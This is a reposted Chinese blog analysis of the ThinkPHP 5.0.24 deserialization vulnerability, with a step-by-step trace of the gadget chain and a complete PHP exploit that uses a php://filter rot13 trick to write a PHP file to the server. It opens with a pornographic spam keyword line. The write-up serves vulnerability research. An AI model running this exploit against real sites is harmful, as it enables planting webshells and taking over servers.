国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

thinkphp5.0.24反序列化漏洞分析

這篇具有很好參考價值的文章主要介紹了thinkphp5.0.24反序列化漏洞分析。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

thinkphp5.0.24反序列化漏洞分析

thinkphp5框架:

thinkphp5.0.24反序列化漏洞分析

thinkphp5的入口文件在public\index.php,訪問

http://192.168.64.105/thinkphp_5.0.24/public/index.php

thinkphp5.0.24反序列化漏洞分析

具體分析

反序列化起點

寫一個反序列化入口點

thinkphp5.0.24反序列化漏洞分析

全局搜索__destruct()函數(shù)

thinkphp5.0.24反序列化漏洞分析

\thinkphp_5.0.24\thinkphp\library\think\process\pipes\Windows.php中的__destruct()函數(shù),調用了removeFiles()

thinkphp5.0.24反序列化漏洞分析

跟進removeFiles(),第163行的file_exists可以觸發(fā)__toString方法

thinkphp5.0.24反序列化漏洞分析

全局搜索__toString方法

thinkphp\library\think\Model.php的第2265行,發(fā)現(xiàn)其調用了toJson方法

thinkphp5.0.24反序列化漏洞分析

跟進toJson,發(fā)現(xiàn)其調用了toArray()方法(在Model.php中)

thinkphp5.0.24反序列化漏洞分析

toArray

跟進toArray,發(fā)現(xiàn)其有三處可以調用__call方法(就是整一個可以控制的類對象,然后讓其調用該類不存在的方法,然后觸發(fā)__call魔術方法)

__call(),在對象中調用一個不可訪問方法時調用。

thinkphp5.0.24反序列化漏洞分析

著重看第三處,也就是第912行,這個需要我們控制$value變量

這個$value變量是根據(jù) $value = $this->getRelationData($modelRelation);而來的

getRelationData分析

跟進getRelationData方法,注意參數(shù)$modelRelation需要是Relation類型的,該方法也是thinkphp\library\think\Model.php中定義的

thinkphp5.0.24反序列化漏洞分析

如果我們讓if滿足,那么$value=$this->parent,看三個條件

  1. $this->parent存在且可控
  2. 第二個條件!$modelRelation->isSelfRelation(),跟進isSelfRelation()方法,該方法在thinkphp\library\think\model\Relation.php中定義,返回$this->selfRelation,可控

thinkphp5.0.24反序列化漏洞分析

  1. 第三個條件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟進getModel()函數(shù),該函數(shù)在thinkphp\library\think\model\Relation.php,返回$this->query->getModel(),其中$query可控

thinkphp5.0.24反序列化漏洞分析

所以我們要查哪個類的getModel()可控,最后找到了thinkphp\library\think\db\Query.php的getModel方法,該方法返回$this->model,并且$this->parent可控

thinkphp5.0.24反序列化漏洞分析

三個條件都滿足,執(zhí)行$value = $this->parent; return $value;,也就是\think\console\Output

該函數(shù)分析到這里

$modelRelation生成

上面分析了函數(shù)的執(zhí)行過程,接下來分析我們怎么能傳入一個Relation類的$modelRelation參數(shù)

發(fā)現(xiàn)$relation()函數(shù)是根據(jù)$relation的值進行調用的,需要滿足if條件method_exists

thinkphp5.0.24反序列化漏洞分析

跟進Loader::parseName瞅一瞅,這個函數(shù)也只是對傳入的$name進行了一些大小寫的替換,沒有一些很嚴格的過濾操作,因為$name可控,所以$relation可控

thinkphp5.0.24反序列化漏洞分析

在$relation可控的前提下,要滿足這個method_exists,則需要將$relation設定為$this(也就是thinkphp\library\think\Model.php)中存在的方法

if (method_exists($this, $relation))

這里選擇getError,因為其不僅在Model類中定義,且error可控

thinkphp5.0.24反序列化漏洞分析

所以我們只要設置了$error,那么其值就會通過 $modelRelation = $this->$relation();傳給$modelRelation ,因為relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到這里,而我們傳的$error是什么,接下來會分析,其實就是HasOne

進入__call前的兩個if

接下來要分析兩個if條件

thinkphp5.0.24反序列化漏洞分析

我們看第一個if,要滿足 m o d e l R e l a t i o n 這 個 類 中 存 在 g e t B i n d A t t r ( ) 函 數(shù) , 而 且 下 一 個 ‘ modelRelation這個類中存在getBindAttr()函數(shù),而且下一個` modelRelationgetBindAttr()數(shù),bindAttr`是該函數(shù)的返回值

全局搜索getBindAttr

thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

其在OneToOne.php中定義,該類是個抽象類,且OneToOne類是Relation類的派生類,其$this->bindAttr可控

我們搜索繼承OneToOne的類,發(fā)現(xiàn)HasOne類,所以可以讓$modelRelation的值為HasOne,這個也滿足getRelationData()傳入的是Relation類對象的要求,并且bindAttr可控,滿足第二個if條件,簡直完美!??!

thinkphp5.0.24反序列化漏洞分析

其實下面還有一個if,但是我們簡單看下,將$bindAttr的鍵值對中的鍵給$key,然后進行isset判斷,當已經(jīng)定義才滿足if,我們要進入的是不滿足if條件的時候

thinkphp5.0.24反序列化漏洞分析

__call

然后進入__call,要選擇一個能寫webshell的類的__call方法,選擇了thinkphp\library\think\console\Output.php

所以上面的$value應該是一個thinkphp\library\think\console\Output.php類對象

thinkphp5.0.24反序列化漏洞分析

在這里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()對調用block()方法沒有影響,可以執(zhí)行block方法,跟進Output的block方法

thinkphp5.0.24反序列化漏洞分析

跟進writeln方法

thinkphp5.0.24反序列化漏洞分析

跟進write方法

thinkphp5.0.24反序列化漏洞分析

handle屬性可控,所以全局搜索write方法

thinkphp\library\think\session\driver\Memcached.php的write方法

thinkphp5.0.24反序列化漏洞分析

而$this->handler可控,所以全局搜索可用的set方法

虛假的寫文件

thinkphp\library\think\cache\driver\File.php中,set方法可以使用file_put_contents寫文件,第158行的exit可以使用偽協(xié)議進行繞過

thinkphp5.0.24反序列化漏洞分析

初步來看可以利用file_put_contents來寫文件,我們跟入 d a t a 和 data和 datafilename,看 d a t a 與 data與 datafilename是否可控

  1. $filename的值是由getCacheKey()方法決定的,跟進getCacheKey,可以知道filename的后綴名是php,是寫死的,文件名部分可控

thinkphp5.0.24反序列化漏洞分析

  1. 跟進$data,發(fā)現(xiàn)$data是已經(jīng)被寫死了,$value的值只能為true

thinkphp5.0.24反序列化漏洞分析

所以就是file_put_contents可以寫文件,但是內容不可控

setTagItem

所以繼續(xù)看set接下來的代碼,調用了setTagItem()

thinkphp5.0.24反序列化漏洞分析

進入thinkphp\library\think\cache\Driver.phpsetTagItem方法,(注意File類繼承了Driver類,但是Driver是一個抽象類)并且會再執(zhí)行一次set方法,這一次$key是由$this->tage而來,可控;$value由$name而來,也是可控的

thinkphp5.0.24反序列化漏洞分析

但是windows對文件名有相應的要求,所以復現(xiàn)不容易

繞過exit

上面已經(jīng)分析得很詳細了,這里簡單調試分析一下

到$value

thinkphp5.0.24反序列化漏洞分析

到set方法這里,著重看一下,第一次整的時候,直接報錯了,轉到異常處理了,

thinkphp5.0.24反序列化漏洞分析

這里是因為我的文件名不符合要求,所以先隨便寫一個,看接下來怎么走

隨便寫一個之后,走到setTagItem()這里,這里$tag是可控的,所以$key是可控的

thinkphp5.0.24反序列化漏洞分析

這個第二次調用set函數(shù),$key可知,$value可控

thinkphp5.0.24反序列化漏洞分析

放在linux運行,生成了對應的文件

thinkphp5.0.24反序列化漏洞分析

查看

thinkphp5.0.24反序列化漏洞分析

這里雖然看著是加了',但是其實并沒有,注意訪問的時候,將?進行url編碼一下

注意需要將php的short_open_tag設為Off,不然會將<??>之間的內容識別為php代碼,但是<? 之后是cuc,不符合語法,所以報錯

thinkphp5.0.24反序列化漏洞分析

exp

<?php

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes
{}
//Windows類中有$files數(shù)組 通過file_exists觸發(fā)__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是個數(shù)組
        public function __construct()
        {
            $this->files = [new Pivot()];   //觸發(fā)Model類的toString()方法,因為Model是一個抽象類,所以選擇其派生類Pivot
        }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
# Model抽象類
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改處
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();       //調用__call()
        $this->append = ['getError'];       //會用foreach將append中的值傳給$name,傳給$relation,調用getError(),將下面的error傳給$modelRelation
        $this->error = new HasOne();       //最后傳給$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判斷getRelationData()中if條件的第三個

    }
}
#Relation抽象類 之后的Output是Relation的派生類
namespace think\model;  
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 這個用于判斷getRelationData()中if條件的第二個
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于傳給$modelRelation,主要是用于滿足if條件,進入value->getAttr()
namespace think\model\relation;
use think\model\Relation;   
abstract class OneToOne extends Relation{ # OneToOne抽象類
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 這個需要動調,才能之后為什么這么寫,待會說    
    }
}



#Output  進入Output->__call()
namespace think\console;
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的調用Memcached類的write()函數(shù)
        $this->styles = ['getAttr'];   # 這是因為是通過Output->getAttr進入__call函數(shù),而__call的參數(shù)中$method是getAttr
    }
}

#Query
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判斷getRelationData()中if條件的第三個
    }
}
#Memcached
namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是調用File->set()
    }
}
#File
namespace think\cache\driver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}


use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));

pop鏈圖

這里借用一下osword師傅的圖

thinkphp5.0.24反序列化漏洞分析

解決windows下的文件名問題

我們注意到,在原有的鏈子中,我們在thinkphp\library\think\session\driver\Memcached.php中將$this->handler設置為File類對象,目的是調用File.php的set()方法

但是也可以將$this->handler設置為thinkphp\library\think\cache\driver\Memcached.php中的Memcached類對象,注意這兩個php文件是不一樣的,其也有一個set方法

第114行也有一個set方法,且handler可控

thinkphp5.0.24反序列化漏洞分析

看這個getCacheKey()函數(shù),這個options可控,所以返回值可控

thinkphp5.0.24反序列化漏洞分析

所以$key可控,但是我們前面分析過了,這個$value不可控,所以還是要進115行的setTagItem()函數(shù),跟進,它還是在Driver.php中定義的,這里根據(jù)前面的分析,$key和$value都是可控的,且沒有那個<>?這樣的特殊符號的影響

thinkphp5.0.24反序列化漏洞分析

詳細參考:Thinkphp5.0.24反序列化漏洞分析與利用 - Yhck - 博客園 (cnblogs.com)文章來源地址http://www.zghlxwxcb.cn/news/detail-403138.html

參考鏈接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析與利用 - Yhck - 博客園 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用鏈分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1條消息) 省信息安全技術大賽]Web4_沫憶末憶的博客-CSDN博客

到了這里,關于thinkphp5.0.24反序列化漏洞分析的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 【新】通達OA前臺反序列化漏洞分析

    0x01 前言 注:本文僅以安全研究為目的,分享對該漏洞的挖掘過程,文中涉及的所有漏洞均已報送給國家單位,請勿用做非法用途。 通達OA作為歷史上出現(xiàn)漏洞較多的OA,在經(jīng)過多輪的迭代之后已經(jīng)很少前臺的RCE漏洞了。一般來說通達OA是通過auth.inc.php文件來進行鑒權,如圖

    2024年02月14日
    瀏覽(24)
  • 網(wǎng)絡安全之反序列化漏洞分析

    網(wǎng)絡安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款開源 JSON 解析庫,可用于將 Java 對象轉換為其 JSON 表示形式,也可以用于將 JSON 字符串轉換為等效的 Java 對象分別通過 toJSONString 和 parseObject/parse 來實現(xiàn)序列化和反序列化。 使用 對于序列化的方法 toJSONString() 有多個重載形式。 SerializeFeature : 通過設置

    2024年02月08日
    瀏覽(22)
  • Java反序列化漏洞-URLDNS鏈分析

    Java反序列化漏洞-URLDNS鏈分析

    目錄 一、前置知識 反射 二、分析 1. URL 2. HashMap 3. 解決一些問題 反射修改字段值 三、POC 四、利用鏈 菜鳥教程 Java 序列化 Java安全-反射 URLDNS鏈的作用就是在目標主機中可能存在反序列化輸入的數(shù)據(jù)的地方,傳入序列化后的URLDNS利用鏈,如果目標主機解析了這個URL地址,那么

    2024年02月04日
    瀏覽(23)
  • Laravel 9.1.8 反序列化漏洞分析及復現(xiàn)

    Laravel 9.1.8 反序列化漏洞分析及復現(xiàn)

    反序列化漏洞是如今很常見的漏洞類型,有很多分類,也有很多繞過方式。本文選取了一個今年比較典型的反序列化漏洞,進行了一個分析并復現(xiàn)。 Laravel是一套簡潔、優(yōu)雅的PHP Web開發(fā)框架。 近日,Laravel 被披露存在多個安全漏洞,可允許通過反序列化POP鏈實現(xiàn)遠程代碼執(zhí)行

    2024年02月06日
    瀏覽(30)
  • Java反序列化漏洞-CC1利用鏈分析

    Java反序列化漏洞-CC1利用鏈分析

    目錄 一、前置知識 1. 反射 2. Commons Collections是什么 3. 環(huán)境準備 二、分析利用鏈 1. Transformer 2. InvokeTransformer 執(zhí)行命令 3. ConstantTransformer 4. ChainedTransformer 執(zhí)行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、編寫POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    瀏覽(18)
  • thinkphp 反序列化漏洞

    thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解釋器、本地服務器、調試的端口、DBGp代理以及phpstudy中的版本、擴展 配置防調試超時 測試版本5.1.37 適用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,進入windows類 查看removeFiles方法 poc1(任意文件刪除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    瀏覽(28)
  • ThinkPHP v6.0.8 CacheStore 反序列化漏洞

    ThinkPHP v6.0.8 CacheStore 反序列化漏洞

    1. 漏洞原理:ThinkPHP 6.0.8 CacheStore 會觸發(fā)POP利用鏈子,造成任意命令執(zhí)行 2. 組件描述: ThinkPHP是一個免費開源的,快速、簡單的面向對象的輕量級PHP開發(fā)框架 3. 影響版本:V6.0.8 1. 環(huán)境安裝:ThinkPHP6.0正式完整版下載_其他_技術博文_js代碼 下載v6.0.8,使用命令php think run即環(huán)境

    2024年02月14日
    瀏覽(16)
  • Thinkphp5.x全漏洞復現(xiàn)分析

    Thinkphp5.x全漏洞復現(xiàn)分析

    我們可以把namespace理解為一個單獨的空間,事實上它也就是一個空間而已,子命名空間那就是空間里再劃分幾個小空間,舉個例子: 當有多個子命名空間有相同名稱類時,不指定使用哪個命名空間的情況下取最后定義的命名空間中的類,比如上面的 dog 取的時 dogC 中的類,在

    2024年04月22日
    瀏覽(25)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    Fastjson反序列化漏洞(1.2.24 RCE)

    目錄 (一)Fastjson介紹 1、認識Fastjson 1.1?序列化 1.2??反序列化 1.3?@type 自省 Autotype (二)漏洞原理 1、比較常用的攻擊類 1.1??com.sun.rowset.JdbcRowSetImpl 1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE復現(xiàn) 1、vulnhub啟動 注意:Linux配置JRE版本 2、攻擊機監(jiān)聽(

    2024年02月07日
    瀏覽(31)
  • ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路

    ThinkPHP5.0.0~5.0.23RCE 漏洞分析及挖掘思路

    前言 本節(jié)我將分析thinkphp5.0.x 版本的RCE漏洞,根據(jù)漏洞的研究模擬挖掘此漏洞的思路 本次分析框架下載,由于官方已經(jīng)下架了相關的下載接口,這里我們用三方下載 一份v5.0.22版本的 升級中... https://www.codejie.net/5828.html 附贈?thinkphp5.0官方開發(fā)手冊 架構總覽 · ThinkPHP5.0完全開

    2024年01月18日
    瀏覽(30)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包